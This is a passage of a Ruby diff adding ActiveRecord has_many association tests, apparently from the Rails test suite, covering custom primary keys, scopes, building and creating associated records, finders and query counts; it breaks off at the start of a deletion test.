+require "models/subscriber"
+require "models/subscription"
+require "models/zine"
+require "models/interest"
+
+class HasManyAssociationsTestForReorderWithJoinDependency < ActiveRecord::TestCase
+  fixtures :authors, :author_addresses, :posts, :comments
+
+  def test_should_generate_valid_sql
+    author = authors(:david)
+    # this can fail on adapters which require ORDER BY expressions to be included in the SELECT expression
+    # if the reorder clauses are not correctly handled
+    assert author.posts_with_comments_sorted_by_comment_id.where("comments.id > 0").reorder("posts.comments_count DESC", "posts.tags_count DESC").last
+  end
+end
+
+class HasManyAssociationsTestPrimaryKeys < ActiveRecord::TestCase
+  fixtures :authors, :author_addresses, :essays, :subscribers, :subscriptions, :people
+
+  def test_custom_primary_key_on_new_record_should_fetch_with_query
+    subscriber = Subscriber.new(nick: "webster132")
+    assert !subscriber.subscriptions.loaded?
+
+    assert_queries 1 do
+      assert_equal 2, subscriber.subscriptions.size
+    end
+
+    assert_equal subscriber.subscriptions, Subscription.where(subscriber_id: "webster132")
+  end
+
+  def test_association_primary_key_on_new_record_should_fetch_with_query
+    author = Author.new(name: "David")
+    assert !author.essays.loaded?
+
+    assert_queries 1 do
+      assert_equal 1, author.essays.size
+    end
+
+    assert_equal author.essays, Essay.where(writer_id: "David")
+  end
+
+  def test_has_many_custom_primary_key
+    david = authors(:david)
+    assert_equal david.essays, Essay.where(writer_id: "David")
+  end
+
+  def test_has_many_assignment_with_custom_primary_key
+    david = people(:david)
+
+    assert_equal ["A Modest Proposal"], david.essays.map(&:name)
+    david.essays = [Essay.create!(name: "Remote Work")]
+    assert_equal ["Remote Work"], david.essays.map(&:name)
+  end
+
+  def test_blank_custom_primary_key_on_new_record_should_not_run_queries
+    author = Author.new
+    assert !author.essays.loaded?
+
+    assert_queries 0 do
+      assert_equal 0, author.essays.size
+    end
+  end
+end
+
+class HasManyAssociationsTest < ActiveRecord::TestCase
+  fixtures :accounts, :categories, :companies, :developers, :projects,
+           :developers_projects, :topics, :authors, :author_addresses, :comments,
+           :posts, :readers, :taggings, :cars, :jobs, :tags,
+           :categorizations, :zines, :interests
+
+  def setup
+    Client.destroyed_client_ids.clear
+  end
+
+  def test_sti_subselect_count
+    tag = Tag.first
+    len = Post.tagged_with(tag.id).limit(10).size
+    assert_operator len, :>, 0
+  end
+
+  def test_anonymous_has_many
+    developer = Class.new(ActiveRecord::Base) {
+      self.table_name = "developers"
+      dev = self
+
+      developer_project = Class.new(ActiveRecord::Base) {
+        self.table_name = "developers_projects"
+        belongs_to :developer, anonymous_class: dev
+      }
+      has_many :developer_projects, anonymous_class: developer_project, foreign_key: "developer_id"
+    }
+    dev = developer.first
+    named = Developer.find(dev.id)
+    assert_operator dev.developer_projects.count, :>, 0
+    assert_equal named.projects.map(&:id).sort,
+                 dev.developer_projects.map(&:project_id).sort
+  end
+
+  def test_default_scope_on_relations_is_not_cached
+    counter = 0
+    posts = Class.new(ActiveRecord::Base) {
+      self.table_name = "posts"
+      self.inheritance_column = "not_there"
+      post = self
+
+      comments = Class.new(ActiveRecord::Base) {
+        self.table_name = "comments"
+        self.inheritance_column = "not_there"
+        belongs_to :post, anonymous_class: post
+        default_scope -> {
+          counter += 1
+          where("id = :inc", inc: counter)
+        }
+      }
+      has_many :comments, anonymous_class: comments, foreign_key: "post_id"
+    }
+    assert_equal 0, counter
+    post = posts.first
+    assert_equal 0, counter
+    sql = capture_sql { post.comments.to_a }
+    post.comments.reset
+    assert_not_equal sql, capture_sql { post.comments.to_a }
+  end
+
+  def test_has_many_build_with_options
+    college = College.create(name: "UFMT")
+    Student.create(active: true, college_id: college.id, name: "Sarah")
+
+    assert_equal college.students, Student.where(active: true, college_id: college.id)
+  end
+
+  def test_add_record_to_collection_should_change_its_updated_at
+    ship = Ship.create(name: "dauntless")
+    part = ShipPart.create(name: "cockpit")
+    updated_at = part.updated_at
+
+    travel(1.second) do
+      ship.parts << part
+    end
+
+    assert_equal part.ship, ship
+    assert_not_equal part.updated_at, updated_at
+  end
+
+  def test_clear_collection_should_not_change_updated_at
+    # GH#17161: .clear calls delete_all (and returns the association),
+    # which is intended to not touch associated objects's updated_at field
+    ship = Ship.create(name: "dauntless")
+    part = ShipPart.create(name: "cockpit", ship_id: ship.id)
+
+    ship.parts.clear
+    part.reload
+
+    assert_nil part.ship
+    assert !part.updated_at_changed?
+  end
+
+  def test_create_from_association_should_respect_default_scope
+    car = Car.create(name: "honda")
+    assert_equal "honda", car.name
+
+    bulb = Bulb.create
+    assert_equal "defaulty", bulb.name
+
+    bulb = car.bulbs.build
+    assert_equal "defaulty", bulb.name
+
+    bulb = car.bulbs.create
+    assert_equal "defaulty", bulb.name
+  end
+
+  def test_build_and_create_from_association_should_respect_passed_attributes_over_default_scope
+    car = Car.create(name: "honda")
+
+    bulb = car.bulbs.build(name: "exotic")
+    assert_equal "exotic", bulb.name
+
+    bulb = car.bulbs.create(name: "exotic")
+    assert_equal "exotic", bulb.name
+
+    bulb = car.awesome_bulbs.build(frickinawesome: false)
+    assert_equal false, bulb.frickinawesome
+
+    bulb = car.awesome_bulbs.create(frickinawesome: false)
+    assert_equal false, bulb.frickinawesome
+  end
+
+  def test_build_from_association_should_respect_scope
+    author = Author.new
+
+    post = author.thinking_posts.build
+    assert_equal "So I was thinking", post.title
+  end
+
+  def test_create_from_association_with_nil_values_should_work
+    car = Car.create(name: "honda")
+
+    bulb = car.bulbs.new(nil)
+    assert_equal "defaulty", bulb.name
+
+    bulb = car.bulbs.build(nil)
+    assert_equal "defaulty", bulb.name
+
+    bulb = car.bulbs.create(nil)
+    assert_equal "defaulty", bulb.name
+  end
+
+  def test_build_from_association_sets_inverse_instance
+    car = Car.new(name: "honda")
+
+    bulb = car.bulbs.build
+    assert_equal car, bulb.car
+  end
+
+  def test_do_not_call_callbacks_for_delete_all
+    car = Car.create(name: "honda")
+    car.funky_bulbs.create!
+    assert_equal 1, car.funky_bulbs.count
+    assert_nothing_raised { car.reload.funky_bulbs.delete_all }
+    assert_equal 0, car.funky_bulbs.count, "bulbs should have been deleted using :delete_all strategy"
+  end
+
+  def test_delete_all_on_association_is_the_same_as_not_loaded
+    author = authors :david
+    author.thinking_posts.create!(body: "test")
+    author.reload
+    expected_sql = capture_sql { author.thinking_posts.delete_all }
+
+    author.thinking_posts.create!(body: "test")
+    author.reload
+    author.thinking_posts.inspect
+    loaded_sql = capture_sql { author.thinking_posts.delete_all }
+    assert_equal(expected_sql, loaded_sql)
+  end
+
+  def test_delete_all_on_association_with_nil_dependency_is_the_same_as_not_loaded
+    author = authors :david
+    author.posts.create!(title: "test", body: "body")
+    author.reload
+    expected_sql = capture_sql { author.posts.delete_all }
+
+    author.posts.create!(title: "test", body: "body")
+    author.reload
+    author.posts.to_a
+    loaded_sql = capture_sql { author.posts.delete_all }
+    assert_equal(expected_sql, loaded_sql)
+  end
+
+  def test_building_the_associated_object_with_implicit_sti_base_class
+    firm = DependentFirm.new
+    company = firm.companies.build
+    assert_kind_of Company, company, "Expected #{company.class} to be a Company"
+  end
+
+  def test_building_the_associated_object_with_explicit_sti_base_class
+    firm = DependentFirm.new
+    company = firm.companies.build(type: "Company")
+    assert_kind_of Company, company, "Expected #{company.class} to be a Company"
+  end
+
+  def test_building_the_associated_object_with_sti_subclass
+    firm = DependentFirm.new
+    company = firm.companies.build(type: "Client")
+    assert_kind_of Client, company, "Expected #{company.class} to be a Client"
+  end
+
+  def test_building_the_associated_object_with_an_invalid_type
+    firm = DependentFirm.new
+    assert_raise(ActiveRecord::SubclassNotFound) { firm.companies.build(type: "Invalid") }
+  end
+
+  def test_building_the_associated_object_with_an_unrelated_type
+    firm = DependentFirm.new
+    assert_raise(ActiveRecord::SubclassNotFound) { firm.companies.build(type: "Account") }
+  end
+
+  test "building the association with an array" do
+    speedometer = Speedometer.new(speedometer_id: "a")
+    data = [{ name: "first" }, { name: "second" }]
+    speedometer.minivans.build(data)
+
+    assert_equal 2, speedometer.minivans.size
+    assert speedometer.save
+    assert_equal ["first", "second"], speedometer.reload.minivans.map(&:name)
+  end
+
+  def test_association_keys_bypass_attribute_protection
+    car = Car.create(name: "honda")
+
+    bulb = car.bulbs.new
+    assert_equal car.id, bulb.car_id
+
+    bulb = car.bulbs.new car_id: car.id + 1
+    assert_equal car.id, bulb.car_id
+
+    bulb = car.bulbs.build
+    assert_equal car.id, bulb.car_id
+
+    bulb = car.bulbs.build car_id: car.id + 1
+    assert_equal car.id, bulb.car_id
+
+    bulb = car.bulbs.create
+    assert_equal car.id, bulb.car_id
+
+    bulb = car.bulbs.create car_id: car.id + 1
+    assert_equal car.id, bulb.car_id
+  end
+
+  def test_association_protect_foreign_key
+    invoice = Invoice.create
+
+    line_item = invoice.line_items.new
+    assert_equal invoice.id, line_item.invoice_id
+
+    line_item = invoice.line_items.new invoice_id: invoice.id + 1
+    assert_equal invoice.id, line_item.invoice_id
+
+    line_item = invoice.line_items.build
+    assert_equal invoice.id, line_item.invoice_id
+
+    line_item = invoice.line_items.build invoice_id: invoice.id + 1
+    assert_equal invoice.id, line_item.invoice_id
+
+    line_item = invoice.line_items.create
+    assert_equal invoice.id, line_item.invoice_id
+
+    line_item = invoice.line_items.create invoice_id: invoice.id + 1
+    assert_equal invoice.id, line_item.invoice_id
+  end
+
+  # When creating objects on the association, we must not do it within a scope (even though it
+  # would be convenient), because this would cause that scope to be applied to any callbacks etc.
+  def test_build_and_create_should_not_happen_within_scope
+    car = cars(:honda)
+    scope = car.foo_bulbs.where_values_hash
+
+    bulb = car.foo_bulbs.build
+    assert_not_equal scope, bulb.scope_after_initialize.where_values_hash
+
+    bulb = car.foo_bulbs.create
+    assert_not_equal scope, bulb.scope_after_initialize.where_values_hash
+
+    bulb = car.foo_bulbs.create!
+    assert_not_equal scope, bulb.scope_after_initialize.where_values_hash
+  end
+
+  def test_no_sql_should_be_fired_if_association_already_loaded
+    Car.create(name: "honda")
+    bulbs = Car.first.bulbs
+    bulbs.to_a # to load all instances of bulbs
+
+    assert_no_queries do
+      bulbs.first()
+    end
+
+    assert_no_queries do
+      bulbs.second()
+    end
+
+    assert_no_queries do
+      bulbs.third()
+    end
+
+    assert_no_queries do
+      bulbs.fourth()
+    end
+
+    assert_no_queries do
+      bulbs.fifth()
+    end
+
+    assert_no_queries do
+      bulbs.forty_two()
+    end
+
+    assert_no_queries do
+      bulbs.third_to_last()
+    end
+
+    assert_no_queries do
+      bulbs.second_to_last()
+    end
+
+    assert_no_queries do
+      bulbs.last()
+    end
+  end
+
+  def test_finder_method_with_dirty_target
+    company = companies(:first_firm)
+    new_clients = []
+    assert_no_queries(ignore_none: false) do
+      new_clients << company.clients_of_firm.build(name: "Another Client")
+      new_clients << company.clients_of_firm.build(name: "Another Client II")
+      new_clients << company.clients_of_firm.build(name: "Another Client III")
+    end
+
+    assert_not company.clients_of_firm.loaded?
+    assert_queries(1) do
+      assert_same new_clients[0], company.clients_of_firm.third
+      assert_same new_clients[1], company.clients_of_firm.fourth
+      assert_same new_clients[2], company.clients_of_firm.fifth
+      assert_same new_clients[0], company.clients_of_firm.third_to_last
+      assert_same new_clients[1], company.clients_of_firm.second_to_last
+      assert_same new_clients[2], company.clients_of_firm.last
+    end
+  end
+
+  def test_finder_bang_method_with_dirty_target
+    company = companies(:first_firm)
+    new_clients = []
+    assert_no_queries(ignore_none: false) do
+      new_clients << company.clients_of_firm.build(name: "Another Client")
+      new_clients << company.clients_of_firm.build(name: "Another Client II")
+      new_clients << company.clients_of_firm.build(name: "Another Client III")
+    end
+
+    assert_not company.clients_of_firm.loaded?
+    assert_queries(1) do
+      assert_same new_clients[0], company.clients_of_firm.third!
+      assert_same new_clients[1], company.clients_of_firm.fourth!
+      assert_same new_clients[2], company.clients_of_firm.fifth!
+      assert_same new_clients[0], company.clients_of_firm.third_to_last!
+      assert_same new_clients[1], company.clients_of_firm.second_to_last!
+      assert_same new_clients[2], company.clients_of_firm.last!
+    end
+  end
+
+  def test_create_resets_cached_counters
+    person = Person.create!(first_name: "tenderlove")
+    post   = Post.first
+
+    assert_equal [], person.readers
+    assert_nil person.readers.find_by_post_id(post.id)
+
+    person.readers.create(post_id: post.id)
+
+    assert_equal 1, person.readers.count
+    assert_equal 1, person.readers.length
+    assert_equal post, person.readers.first.post
+    assert_equal person, person.readers.first.person
+  end
+
+  def test_update_all_respects_association_scope
+    person = Person.new
+    person.first_name = "Naruto"
+    person.references << Reference.new
+    person.id = 10
+    person.references
+    person.save!
+    assert_equal 1, person.references.update_all(favourite: true)
+  end
+
+  def test_exists_respects_association_scope
+    person = Person.new
+    person.first_name = "Sasuke"
+    person.references << Reference.new
+    person.id = 10
+    person.references
+    person.save!
+    assert_predicate person.references, :exists?
+  end
+
+  def test_counting_with_counter_sql
+    assert_equal 3, Firm.first.clients.count
+  end
+
+  def test_counting
+    assert_equal 3, Firm.first.plain_clients.count
+  end
+
+  def test_counting_with_single_hash
+    assert_equal 1, Firm.first.plain_clients.where(name: "Microsoft").count
+  end
+
+  def test_counting_with_column_name_and_hash
+    assert_equal 3, Firm.first.plain_clients.count(:name)
+  end
+
+  def test_counting_with_association_limit
+    firm = companies(:first_firm)
+    assert_equal firm.limited_clients.length, firm.limited_clients.size
+    assert_equal firm.limited_clients.length, firm.limited_clients.count
+  end
+
+  def test_finding
+    assert_equal 3, Firm.first.clients.length
+  end
+
+  def test_finding_array_compatibility
+    assert_equal 3, Firm.order(:id).find { |f| f.id > 0 }.clients.length
+  end
+
+  def test_find_many_with_merged_options
+    assert_equal 1, companies(:first_firm).limited_clients.size
+    assert_equal 1, companies(:first_firm).limited_clients.to_a.size
+    assert_equal 3, companies(:first_firm).limited_clients.limit(nil).to_a.size
+  end
+
+  def test_find_should_append_to_association_order
+    ordered_clients = companies(:first_firm).clients_sorted_desc.order("companies.id")
+    assert_equal ["id DESC", "companies.id"], ordered_clients.order_values
+  end
+
+  def test_dynamic_find_should_respect_association_order
+    assert_equal companies(:another_first_firm_client), companies(:first_firm).clients_sorted_desc.where("type = 'Client'").first
+    assert_equal companies(:another_first_firm_client), companies(:first_firm).clients_sorted_desc.find_by_type("Client")
+  end
+
+  def test_taking
+    posts(:other_by_bob).destroy
+    assert_equal posts(:misc_by_bob), authors(:bob).posts.take
+    assert_equal posts(:misc_by_bob), authors(:bob).posts.take!
+    authors(:bob).posts.to_a
+    assert_equal posts(:misc_by_bob), authors(:bob).posts.take
+    assert_equal posts(:misc_by_bob), authors(:bob).posts.take!
+  end
+
+  def test_taking_not_found
+    authors(:bob).posts.delete_all
+    assert_raise(ActiveRecord::RecordNotFound) { authors(:bob).posts.take! }
+    authors(:bob).posts.to_a
+    assert_raise(ActiveRecord::RecordNotFound) { authors(:bob).posts.take! }
+  end
+
+  def test_taking_with_a_number
+    # taking from unloaded Relation
+    bob = Author.find(authors(:bob).id)
+    new_post = bob.posts.build
+    assert_not bob.posts.loaded?
+    assert_equal [posts(:misc_by_bob)], bob.posts.take(1)
+    assert_equal [posts(:misc_by_bob), posts(:other_by_bob)], bob.posts.take(2)
+    assert_equal [posts(:misc_by_bob), posts(:other_by_bob), new_post], bob.posts.take(3)
+
+    # taking from loaded Relation
+    bob.posts.load
+    assert bob.posts.loaded?
+    assert_equal [posts(:misc_by_bob)], bob.posts.take(1)
+    assert_equal [posts(:misc_by_bob), posts(:other_by_bob)], bob.posts.take(2)
+    assert_equal [posts(:misc_by_bob), posts(:other_by_bob), new_post], bob.posts.take(3)
+  end
+
+  def test_taking_with_inverse_of
+    interests(:woodsmanship).destroy
+    interests(:survival).destroy
+
+    zine = zines(:going_out)
+    interest = zine.interests.take
+    assert_equal interests(:hunting), interest
+    assert_same zine, interest.zine
+  end
+
+  def test_cant_save_has_many_readonly_association
+    authors(:david).readonly_comments.each { |c| assert_raise(ActiveRecord::ReadOnlyRecord) { c.save! } }
+    authors(:david).readonly_comments.each { |c| assert c.readonly? }
+  end
+
+  def test_finding_default_orders
+    assert_equal "Summit", Firm.first.clients.first.name
+  end
+
+  def test_finding_with_different_class_name_and_order
+    assert_equal "Apex", Firm.first.clients_sorted_desc.first.name
+  end
+
+  def test_finding_with_foreign_key
+    assert_equal "Microsoft", Firm.first.clients_of_firm.first.name
+  end
+
+  def test_finding_with_condition
+    assert_equal "Microsoft", Firm.first.clients_like_ms.first.name
+  end
+
+  def test_finding_with_condition_hash
+    assert_equal "Microsoft", Firm.first.clients_like_ms_with_hash_conditions.first.name
+  end
+
+  def test_finding_using_primary_key
+    assert_equal "Summit", Firm.first.clients_using_primary_key.first.name
+  end
+
+  def test_update_all_on_association_accessed_before_save
+    firm = Firm.new(name: "Firm")
+    firm.clients << Client.first
+    firm.save!
+    assert_equal firm.clients.count, firm.clients.update_all(description: "Great!")
+  end
+
+  def test_update_all_on_association_accessed_before_save_with_explicit_foreign_key
+    firm = Firm.new(name: "Firm", id: 100)
+    firm.clients << Client.first
+    firm.save!
+    assert_equal firm.clients.count, firm.clients.update_all(description: "Great!")
+  end
+
+  def test_belongs_to_sanity
+    c = Client.new
+    assert_nil c.firm, "belongs_to failed sanity check on new object"
+  end
+
+  def test_find_ids
+    firm = Firm.first
+
+    assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find }
+
+    client = firm.clients.find(2)
+    assert_kind_of Client, client
+
+    client_ary = firm.clients.find([2])
+    assert_kind_of Array, client_ary
+    assert_equal client, client_ary.first
+
+    client_ary = firm.clients.find(2, 3)
+    assert_kind_of Array, client_ary
+    assert_equal 2, client_ary.size
+    assert_equal client, client_ary.first
+
+    assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find(2, 99) }
+  end
+
+  def test_find_one_message_on_primary_key
+    firm = Firm.first
+
+    e = assert_raises(ActiveRecord::RecordNotFound) do
+      firm.clients.find(0)
+    end
+    assert_equal 0, e.id
+    assert_equal "id", e.primary_key
+    assert_equal "Client", e.model
+    assert_match (/\ACouldn't find Client with 'id'=0/), e.message
+  end
+
+  def test_find_ids_and_inverse_of
+    force_signal37_to_load_all_clients_of_firm
+
+    assert_predicate companies(:first_firm).clients_of_firm, :loaded?
+
+    firm = companies(:first_firm)
+    client = firm.clients_of_firm.find(3)
+    assert_kind_of Client, client
+
+    client_ary = firm.clients_of_firm.find([3])
+    assert_kind_of Array, client_ary
+    assert_equal client, client_ary.first
+  end
+
+  def test_find_all
+    firm = Firm.first
+    assert_equal 3, firm.clients.where("#{QUOTED_TYPE} = 'Client'").to_a.length
+    assert_equal 1, firm.clients.where("name = 'Summit'").to_a.length
+  end
+
+  def test_find_each
+    firm = companies(:first_firm)
+
+    assert ! firm.clients.loaded?
+
+    assert_queries(4) do
+      firm.clients.find_each(batch_size: 1) { |c| assert_equal firm.id, c.firm_id }
+    end
+
+    assert ! firm.clients.loaded?
+  end
+
+  def test_find_each_with_conditions
+    firm = companies(:first_firm)
+
+    assert_queries(2) do
+      firm.clients.where(name: "Microsoft").find_each(batch_size: 1) do |c|
+        assert_equal firm.id, c.firm_id
+        assert_equal "Microsoft", c.name
+      end
+    end
+
+    assert ! firm.clients.loaded?
+  end
+
+  def test_find_in_batches
+    firm = companies(:first_firm)
+
+    assert ! firm.clients.loaded?
+
+    assert_queries(2) do
+      firm.clients.find_in_batches(batch_size: 2) do |clients|
+        clients.each { |c| assert_equal firm.id, c.firm_id }
+      end
+    end
+
+    assert ! firm.clients.loaded?
+  end
+
+  def test_find_all_sanitized
+    firm = Firm.first
+    summit = firm.clients.where("name = 'Summit'").to_a
+    assert_equal summit, firm.clients.where("name = ?", "Summit").to_a
+    assert_equal summit, firm.clients.where("name = :name", name: "Summit").to_a
+  end
+
+  def test_find_first
+    firm = Firm.first
+    client2 = Client.find(2)
+    assert_equal firm.clients.first, firm.clients.order("id").first
+    assert_equal client2, firm.clients.where("#{QUOTED_TYPE} = 'Client'").order("id").first
+  end
+
+  def test_find_first_sanitized
+    firm = Firm.first
+    client2 = Client.find(2)
+    assert_equal client2, firm.clients.where("#{QUOTED_TYPE} = ?", "Client").first
+    assert_equal client2, firm.clients.where("#{QUOTED_TYPE} = :type", type: "Client").first
+  end
+
+  def test_find_first_after_reset_scope
+    firm = Firm.first
+    collection = firm.clients
+
+    original_object = collection.first
+    assert_same original_object, collection.first, "Expected second call to #first to cache the same object"
+
+    # It should return a different object, since the association has been reloaded
+    assert_not_same original_object, firm.clients.first, "Expected #first to return a new object"
+  end
+
+  def test_find_first_after_reset
+    firm = Firm.first
+    collection = firm.clients
+
+    original_object = collection.first
+    assert_same original_object, collection.first, "Expected second call to #first to cache the same object"
+    collection.reset
+
+    # It should return a different object, since the association has been reloaded
+    assert_not_same original_object, collection.first, "Expected #first after #reset to return a new object"
+  end
+
+  def test_find_first_after_reload
+    firm = Firm.first
+    collection = firm.clients
+
+    original_object = collection.first
+    assert_same original_object, collection.first, "Expected second call to #first to cache the same object"
+    collection.reload
+
+    # It should return a different object, since the association has been reloaded
+    assert_not_same original_object, collection.first, "Expected #first after #reload to return a new object"
+  end
+
+  def test_find_all_with_include_and_conditions
+    assert_nothing_raised do
+      Developer.all.merge!(joins: :audit_logs, where: { "audit_logs.message" => nil, :name => "Smith" }).to_a
+    end
+  end
+
+  def test_find_in_collection
+    assert_equal Client.find(2).name, companies(:first_firm).clients.find(2).name
+    assert_raise(ActiveRecord::RecordNotFound) { companies(:first_firm).clients.find(6) }
+  end
+
+  def test_find_grouped
+    all_clients_of_firm1 = Client.all.merge!(where: "firm_id = 1").to_a
+    grouped_clients_of_firm1 = Client.all.merge!(where: "firm_id = 1", group: "firm_id", select: "firm_id, count(id) as clients_count").to_a
+    assert_equal 3, all_clients_of_firm1.size
+    assert_equal 1, grouped_clients_of_firm1.size
+  end
+
+  def test_find_scoped_grouped
+    assert_equal 1, companies(:first_firm).clients_grouped_by_firm_id.size
+    assert_equal 1, companies(:first_firm).clients_grouped_by_firm_id.length
+    assert_equal 3, companies(:first_firm).clients_grouped_by_name.size
+    assert_equal 3, companies(:first_firm).clients_grouped_by_name.length
+  end
+
+  def test_find_scoped_grouped_having
+    assert_equal 1, authors(:david).popular_grouped_posts.length
+    assert_equal 0, authors(:mary).popular_grouped_posts.length
+  end
+
+  def test_default_select
+    assert_equal Comment.column_names.sort, posts(:welcome).comments.first.attributes.keys.sort
+  end
+
+  def test_select_query_method
+    assert_equal ["id", "body"], posts(:welcome).comments.select(:id, :body).first.attributes.keys
+  end
+
+  def test_select_with_block
+    assert_equal [1], posts(:welcome).comments.select { |c| c.id == 1 }.map(&:id)
+  end
+
+  def test_select_with_block_and_dirty_target
+    assert_equal 2, posts(:welcome).comments.select { true }.size
+    posts(:welcome).comments.build
+    assert_equal 3, posts(:welcome).comments.select { true }.size
+  end
+
+  def test_select_without_foreign_key
+    assert_equal companies(:first_firm).accounts.first.credit_limit, companies(:first_firm).accounts.select(:credit_limit).first.credit_limit
+  end
+
+  def test_adding
+    force_signal37_to_load_all_clients_of_firm
+
+    assert_predicate companies(:first_firm).clients_of_firm, :loaded?
+
+    natural = Client.new("name" => "Natural Company")
+    companies(:first_firm).clients_of_firm << natural
+    assert_equal 3, companies(:first_firm).clients_of_firm.size # checking via the collection
+    assert_equal 3, companies(:first_firm).clients_of_firm.reload.size # checking using the db
+    assert_equal natural, companies(:first_firm).clients_of_firm.last
+  end
+
+  def test_adding_using_create
+    first_firm = companies(:first_firm)
+    assert_equal 3, first_firm.plain_clients.size
+    first_firm.plain_clients.create(name: "Natural Company")
+    assert_equal 4, first_firm.plain_clients.length
+    assert_equal 4, first_firm.plain_clients.size
+  end
+
+  def test_create_with_bang_on_has_many_when_parent_is_new_raises
+    error = assert_raise(ActiveRecord::RecordNotSaved) do
+      firm = Firm.new
+      firm.plain_clients.create! name: "Whoever"
+    end
+
+    assert_equal "You cannot call create unless the parent is saved", error.message
+  end
+
+  def test_regular_create_on_has_many_when_parent_is_new_raises
+    error = assert_raise(ActiveRecord::RecordNotSaved) do
+      firm = Firm.new
+      firm.plain_clients.create name: "Whoever"
+    end
+
+    assert_equal "You cannot call create unless the parent is saved", error.message
+  end
+
+  def test_create_with_bang_on_has_many_raises_when_record_not_saved
+    assert_raise(ActiveRecord::RecordInvalid) do
+      firm = Firm.first
+      firm.plain_clients.create!
+    end
+  end
+
+  def test_create_with_bang_on_habtm_when_parent_is_new_raises
+    error = assert_raise(ActiveRecord::RecordNotSaved) do
+      Developer.new("name" => "Aredridel").projects.create!
+    end
+
+    assert_equal "You cannot call create unless the parent is saved", error.message
+  end
+
+  def test_adding_a_mismatch_class
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << nil }
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << 1 }
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << Topic.find(1) }
+  end
+
+  def test_adding_a_collection
+    force_signal37_to_load_all_clients_of_firm
+
+    assert_predicate companies(:first_firm).clients_of_firm, :loaded?
+
+    companies(:first_firm).clients_of_firm.concat([Client.new("name" => "Natural Company"), Client.new("name" => "Apple")])
+    assert_equal 4, companies(:first_firm).clients_of_firm.size
+    assert_equal 4, companies(:first_firm).clients_of_firm.reload.size
+  end
+
+  def test_transactions_when_adding_to_persisted
+    good = Client.new(name: "Good")
+    bad  = Client.new(name: "Bad", raise_on_save: true)
+
+    begin
+      companies(:first_firm).clients_of_firm.concat(good, bad)
+    rescue Client::RaisedOnSave
+    end
+
+    assert_not_includes companies(:first_firm).clients_of_firm.reload, good
+  end
+
+  def test_transactions_when_adding_to_new_record
+    assert_no_queries(ignore_none: false) do
+      firm = Firm.new
+      firm.clients_of_firm.concat(Client.new("name" => "Natural Company"))
+    end
+  end
+
+  def test_inverse_on_before_validate
+    firm = companies(:first_firm)
+    assert_queries(1) do
+      firm.clients_of_firm << Client.new("name" => "Natural Company")
+    end
+  end
+
+  def test_new_aliased_to_build
+    company = companies(:first_firm)
+    new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.new("name" => "Another Client") }
+    assert !company.clients_of_firm.loaded?
+
+    assert_equal "Another Client", new_client.name
+    assert !new_client.persisted?
+    assert_equal new_client, company.clients_of_firm.last
+  end
+
+  def test_build
+    company = companies(:first_firm)
+    new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.build("name" => "Another Client") }
+    assert !company.clients_of_firm.loaded?
+
+    assert_equal "Another Client", new_client.name
+    assert !new_client.persisted?
+    assert_equal new_client, company.clients_of_firm.last
+  end
+
+  def test_collection_size_after_building
+    company = companies(:first_firm)  # company already has one client
+    company.clients_of_firm.build("name" => "Another Client")
+    company.clients_of_firm.build("name" => "Yet Another Client")
+    assert_equal 4, company.clients_of_firm.size
+    assert_equal 4, company.clients_of_firm.uniq.size
+  end
+
+  def test_collection_not_empty_after_building
+    company = companies(:first_firm)
+    assert_predicate company.contracts, :empty?
+    company.contracts.build
+    assert_not_predicate company.contracts, :empty?
+  end
+
+  def test_collection_size_twice_for_regressions
+    post = posts(:thinking)
+    assert_equal 0, post.readers.size
+    # This test needs a post that has no readers, we assert it to ensure it holds,
+    # but need to reload the post because the very call to #size hides the bug.
+    post.reload
+    post.readers.build
+    size1 = post.readers.size
+    size2 = post.readers.size
+    assert_equal size1, size2
+  end
+
+  def test_build_many
+    company = companies(:first_firm)
+    new_clients = assert_no_queries(ignore_none: false) { company.clients_of_firm.build([{ "name" => "Another Client" }, { "name" => "Another Client II" }]) }
+    assert_equal 2, new_clients.size
+  end
+
+  def test_build_followed_by_save_does_not_load_target
+    companies(:first_firm).clients_of_firm.build("name" => "Another Client")
+    assert companies(:first_firm).save
+    assert !companies(:first_firm).clients_of_firm.loaded?
+  end
+
+  def test_build_without_loading_association
+    first_topic = topics(:first)
+    Reply.column_names
+
+    assert_equal 1, first_topic.replies.length
+
+    assert_no_queries do
+      first_topic.replies.build(title: "Not saved", content: "Superstars")
+      assert_equal 2, first_topic.replies.size
+    end
+
+    assert_equal 2, first_topic.replies.to_ary.size
+  end
+
+  def test_build_via_block
+    company = companies(:first_firm)
+    new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.build { |client| client.name = "Another Client" } }
+    assert !company.clients_of_firm.loaded?
+
+    assert_equal "Another Client", new_client.name
+    assert !new_client.persisted?
+    assert_equal new_client, company.clients_of_firm.last
+  end
+
+  def test_build_many_via_block
+    company = companies(:first_firm)
+    new_clients = assert_no_queries(ignore_none: false) do
+      company.clients_of_firm.build([{ "name" => "Another Client" }, { "name" => "Another Client II" }]) do |client|
+        client.name = "changed"
+      end
+    end
+
+    assert_equal 2, new_clients.size
+    assert_equal "changed", new_clients.first.name
+    assert_equal "changed", new_clients.last.name
+  end
+
+  def test_create_without_loading_association
+    first_firm = companies(:first_firm)
+    Firm.column_names
+    Client.column_names
+
+    assert_equal 2, first_firm.clients_of_firm.size
+    first_firm.clients_of_firm.reset
+
+    assert_queries(1) do
+      first_firm.clients_of_firm.create(name: "Superstars")
+    end
+
+    assert_equal 3, first_firm.clients_of_firm.size
+  end
+
+  def test_create
+    force_signal37_to_load_all_clients_of_firm
+
+    assert_predicate companies(:first_firm).clients_of_firm, :loaded?
+
+    new_client = companies(:first_firm).clients_of_firm.create("name" => "Another Client")
+    assert new_client.persisted?
+    assert_equal new_client, companies(:first_firm).clients_of_firm.last
+    assert_equal new_client, companies(:first_firm).clients_of_firm.reload.last
+  end
+
+  def test_create_many
+    companies(:first_firm).clients_of_firm.create([{ "name" => "Another Client" }, { "name" => "Another Client II" }])
+    assert_equal 4, companies(:first_firm).clients_of_firm.reload.size
+  end
+
+  def test_create_followed_by_save_does_not_load_target
+    companies(:first_firm).clients_of_firm.create("name" => "Another Client")
+    assert companies(:first_firm).save
+    assert !companies(:first_firm).clients_of_firm.loaded?
+  end
+
+  def test_deleting
